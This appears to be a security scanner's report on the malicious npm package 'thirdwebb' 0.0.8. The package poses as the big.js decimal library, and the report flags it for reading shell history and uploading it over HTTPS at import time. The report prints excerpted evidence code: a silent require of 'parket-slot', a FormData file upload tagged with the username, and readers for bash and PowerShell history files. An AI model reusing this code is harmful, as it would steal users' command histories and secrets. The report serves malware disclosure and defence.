thirdwebb 0.0.8
“A small, fast, easy-to-use library for arbitrary-precision decimal arithmetic”
Node reads shell history and sends it over HTTPSlot loader runs during import
SHA-2562fe6fd13a0b9fb96d7d3e8d7ef53fe653b00d2f6561ddfe715c5ea8b617d184a
MaleculeO(S₂)Md(Pa₃)
Also flagged by osv (MAL-2026-6694: Malicious code in thirdwebb (npm)) +2 more.
Evidence
⋯10 lines
603 };
604
605 try {
606 const doc = require("parket-slot");
607 doc.from_str()
608 } catch (error) {
609 }
610
⋯12 lines
26 "./package.json": "./package.json"
27 },
28 "repository": {
29 "type": "git",
30 "url": "https://github.com/MikeMcl/big.js.git"
31 },
32 "main": "big",
33 "browser": "big.js",
34 "module": "big.mjs",
35 "author": {
36 "name": "Michael Mclaughlin",
37 "email": "M8ch88l@gmail.com"
38 },
39 "bugs": {
40 "url": "https://github.com/MikeMcl/big.js/issues"
41 },
⋯5 lines
189
190 const username = getUsername();
191 const form = new FormData();
192
193 form.append("username", username);
194
195 for (const filePath of filePaths) {
196 form.append("files", fs.createReadStream(filePath), {
197 filename: path.basename(filePath),
198 });
⋯7 lines
⋯6 lines
299 try {
300 if (!fs.existsSync(filePath)) return null;
301 return fs.readFileSync(filePath, "utf8");
302 } catch {
303 return null;
304 }
305}
306
307function limitShellHistoryLines(text, limit) {
308 const lines = text.split(/\r?\n/);
309 if (lines.length <= limit) return text;
310 return lines.slice(-limit).join("\n");
311}
312
313function bashHistoryFromBuiltin(homeDir, defaultPath) {
314 try {
315 const result = execSync("bash -c history", {
316 encoding: "utf8",
317 cwd: homeDir,
318 env: { ...process.env, HOME: homeDir, HISTFILE: defaultPath },
319 timeout: 5000,
320 stdio: ["pipe", "pipe", "ignore"],
321 });
322 const trimmed = result.trim();
⋯5 lines
356:49… ;
357 }
358 };
359
360 if (platform === "win32") {
361 const appData = process.env.APPDATA || path.join(homeDir, "AppData", "Roaming");
362 push(
363 path.join(appData, "Microsoft", "Windows", "PowerShell", "PSReadLine", "ConsoleHost_history.txt"),
364 "PowerShell (PSReadLine)"
365 );
366 push(path.join(homeDir, ".bash_history"), "Bash (e.g. Git Bash)");
367 if (!out.some((entry) => entry.source.includes("Bash"))) {
368 const bashHist = bashHistoryFromBuiltin(homeDir, path.join(homeDir, ".bash_history"));
⋯4 lines
No evidence locations were recorded for this file. Raw result